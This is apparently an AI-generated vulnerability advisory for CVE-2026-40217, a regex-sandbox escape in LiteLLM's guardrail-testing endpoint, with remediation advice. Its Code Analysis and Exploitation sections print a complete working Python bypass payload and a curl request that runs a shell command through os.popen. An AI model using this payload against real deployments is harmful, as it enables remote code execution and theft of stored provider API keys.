CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-40217
8.80.24%

CVE-2026-40217: Remote Code Execution via Sandbox Escape in LiteLLM

Alon Barad
Alon Barad
Software Engineer

May 11, 2026·8 min read·8 visits

PoC Available

Executive Summary (TL;DR)

An authenticated RCE vulnerability exists in LiteLLM's `/guardrails/test_custom_code` endpoint. The custom Python sandbox relies on flawed regex filtering, allowing attackers to rewrite function bytecode and access restricted built-ins to execute system commands.

LiteLLM, an open-source LLM proxy, contains a critical sandbox escape vulnerability in its guardrail testing endpoint. An authenticated attacker can bypass regex-based source-code filtering by leveraging Python object hierarchy traversal and runtime bytecode manipulation, leading to arbitrary code execution as the process owner.

Vulnerability Overview

LiteLLM provides a proxy layer for Large Language Models and includes a feature for defining custom Python code to filter requests and responses, known as guardrails. Administrators evaluate these guardrail configurations via the /guardrails/test_custom_code API endpoint. This endpoint accepts user-provided Python source code and executes it within a restricted environment.

To secure this execution context, the original implementation relied on a custom-built sandbox. This sandbox utilized restricted globals dictionaries and regex-based source code filtering to prevent the execution of malicious logic. The filter specifically targeted keywords associated with Python introspection and module loading, such as __globals__, __builtins__, and import.

The vulnerability, identified as CVE-2026-40217, arises from the inadequacy of static regex filtering against Python's dynamic runtime capabilities. Attackers bypass these restrictions by constructing restricted attribute names dynamically and manipulating internal code objects. This bypass results in arbitrary code execution via Code Injection (CWE-94).

Exploitation requires the attacker to possess authenticated access to the proxy interface, typically via the LITELLM_MASTER_KEY. Successful execution allows the attacker to run shell commands in the context of the LiteLLM process. Official Docker deployments of LiteLLM run this process as the root user by default, maximizing the post-exploitation impact.

Root Cause Analysis

The root cause of CVE-2026-40217 is the reliance on pattern matching to enforce boundary controls on dynamically typed execution environments. The custom sandbox attempts to block access to the underlying operating system by preventing the literal string sequences of known dangerous attributes from appearing in the submitted source code.

Python resolves attributes dynamically at runtime. An attacker can circumvent the static regex filter by utilizing string concatenation. Specifically, the string "__globals__" can be generated dynamically using the expression "_"+"_gl"+"ob"+"als"+"_"+"_". This constructed string avoids detection by the regex parser while remaining perfectly valid for built-in functions like getattr() or __setattr__().

The sandbox prevents direct access to the __class__ attribute to stop attackers from navigating the object hierarchy. However, the attacker accesses the base object class by invoking the Method Resolution Order (MRO) on a primitive type. The expression str.mro()[1] returns the root object class, granting access to core object manipulation methods such as object.__setattr__().

With access to the base object and the ability to construct restricted strings dynamically, the attacker targets the bytecode of a generator function. Python exposes a generator's code object via the unfiltered gi_code attribute. The attacker invokes code.replace(co_names=...) to overwrite the name table within the bytecode, injecting the dynamically constructed __globals__ string into the execution context.

The final step involves invoking object.__setattr__() to apply the modified bytecode to the generator function. When the function subsequently executes, it pulls from the modified name table, granting the attacker a direct reference to the __globals__ dictionary of an unrestricted, safe environment function provided by the sandbox (e.g., http_get).

Code Analysis

The vulnerability stems from the attempt to secure the Python exec() function using text-based input validation. The underlying flaw is the assumption that the absence of specific text tokens guarantees the absence of specific runtime behaviors.

Consider the mechanics of the bypass exploit payload. The attacker constructs a nested generator function and extracts its internal code object. The payload assigns this to a variable c using c = g(None).gi_code. Because gi_code is not explicitly blacklisted by the regex, the sandbox permits this operation.

# Vulnerable Payload Extraction
def apply_guardrail(inputs, request_data, input_type):
    obj = str.mro()[1]
    def g(fn):
        yield fn.placeholder
    c = g(None).gi_code
    gn = "_"+"_gl"+"ob"+"als"+"_"+"_"
    cn = "_"+"_co"+"de_"+"_"
    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))

The payload then utilizes string concatenation to build the strings __globals__ and __code__ without triggering the source-code filters. It calls c.replace(co_names=(gn,)) to modify the bytecode instruction set. The modified instructions instruct the interpreter to load the __globals__ attribute instead of the benign placeholder. The object.__setattr__() function applies this rewritten bytecode back to the generator.

The fix introduced in version v1.83.10-stable abandons the regex-based custom sandbox entirely. The developers integrated the RestrictedPython library. RestrictedPython operates at the Abstract Syntax Tree (AST) level rather than the source code text level.

RestrictedPython rewrites the AST before execution. It converts all attribute access operations (e.g., a.b) into calls to a custom guard function (e.g., _getattr_(a, "b")). This guard function enforces strict runtime policies, preventing access to internal attributes like gi_code or mro. By shifting from text filtering to AST rewriting, the sandbox eliminates the string concatenation and bytecode manipulation vectors entirely.

Exploitation Methodology

Exploiting this vulnerability requires the attacker to send a single HTTP POST request to the management interface of the LiteLLM proxy. The attacker must possess valid credentials to pass the authentication checks on the /guardrails/test_custom_code endpoint. This typically requires the LITELLM_MASTER_KEY sent via an Authorization bearer token.

The attacker formats the payload as a JSON object containing a custom_code field. This field contains the complete Python script executing the sandbox escape. The attacker also includes a benign test_input dictionary to satisfy the endpoint's data structure requirements.

curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

Upon receiving the request, the LiteLLM proxy evaluates the custom_code block. The payload escapes the sandbox, accesses the underlying os module via the extracted __builtins__, and executes the id command. The proxy returns the standard output of the executed command within the JSON response body.

The expected response contains the process execution context. For the default Docker deployment, the command outputs uid=0(root) gid=0(root) groups=0(root), confirming administrative code execution within the container.

Impact Assessment

The impact of CVE-2026-40217 is categorized as high severity due to the complete loss of confidentiality, integrity, and availability within the execution environment. By achieving arbitrary code execution, an attacker commands full control over the LiteLLM process. The scope of the compromise maps directly to the privileges of the underlying process owner.

The default distribution mechanism for LiteLLM is via containerization using Docker. The official LiteLLM Docker image (ghcr.io/berriai/litellm:main-latest) executes the application under the root user context. Consequently, a successful exploit grants the attacker root privileges within the container, simplifying lateral movement and privilege escalation attempts.

LiteLLM functions as a proxy routing traffic to external LLM providers. As a result, the deployment environment inherently stores highly sensitive credentials, including API keys for OpenAI, Anthropic, and other managed services. These keys reside as environment variables within the container. An attacker with code execution capabilities accesses these variables trivially, enabling secondary attacks against external infrastructure.

The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, resulting in a score of 8.8. The requirement for prior authentication (PR:L) prevents the score from reaching a critical 9.8. However, if the master key is leaked, weak, or misconfigured, the barrier to entry decreases significantly.

Remediation and Mitigation

The primary remediation strategy involves upgrading the LiteLLM deployment to version v1.83.10-stable or a subsequent release. This version completely removes the vulnerable regex-based custom sandbox. It implements the RestrictedPython library, which provides mathematically provable AST-level execution constraints.

For environments unable to deploy the immediate patch, administrators must enforce compensating controls at the network perimeter. Configure reverse proxies or Web Application Firewalls (WAF) to explicitly deny access to the /guardrails/test_custom_code URI path. This action mitigates the vulnerability by rendering the affected endpoint unreachable.

Administrators must adhere to the principle of least privilege when configuring the LiteLLM container. Avoid executing the application using the default root user configuration. Modify the Docker runtime instructions by appending the --user flag and specifying a low-privileged user account. This prevents an attacker from automatically inheriting administrative container permissions post-exploitation.

Network administrators must restrict access to the LiteLLM management interface, typically bound to port 4000. Bind this interface strictly to internal management networks or trusted loopback addresses. Limit incoming connections using host-based firewalls to prevent unauthorized access from untrusted subnets.

Official Patches

LiteLLMOfficial GitHub Release for v1.83.10-stable containing the patch.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.24%
Top 53% most exploited

Affected Systems

LiteLLM ProxyLiteLLM Docker Containers

Affected Versions Detail

Product
Affected Versions
Fixed Version
LiteLLM
BerriAI
<= 2026-04-08v1.83.10-stable
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS v3.1 Score8.8
EPSS Score0.0024
ImpactRemote Code Execution
Exploit StatusProof of Concept (PoC)

MITRE ATT&CK Mapping

T1059.006Command and Scripting Interpreter: Python
Execution
T1609Container Administration Command
Execution
T1611Escape to Host
Privilege Escalation
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended system behavior.

Known Exploits & Detection

X41 D-Sec GmbHProof of Concept demonstrating Python sandbox escape via MRO and bytecode rewriting.

Vulnerability Timeline

Vulnerability identified and PoC created by X41 D-Sec.
2026-02-13
Vendor (LiteLLM) acknowledged the issue.
2026-02-18
Disclosure embargo expired; public advisory released.
2026-04-08
CVE-2026-40217 published and NVD record created.
2026-04-10

References & Sources

  • [1]X41 D-Sec Security Advisory
  • [2]SentinelOne Vulnerability Database
  • [3]LiteLLM Release v1.83.10-stable
  • [4]CVE Record (CVE.org)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.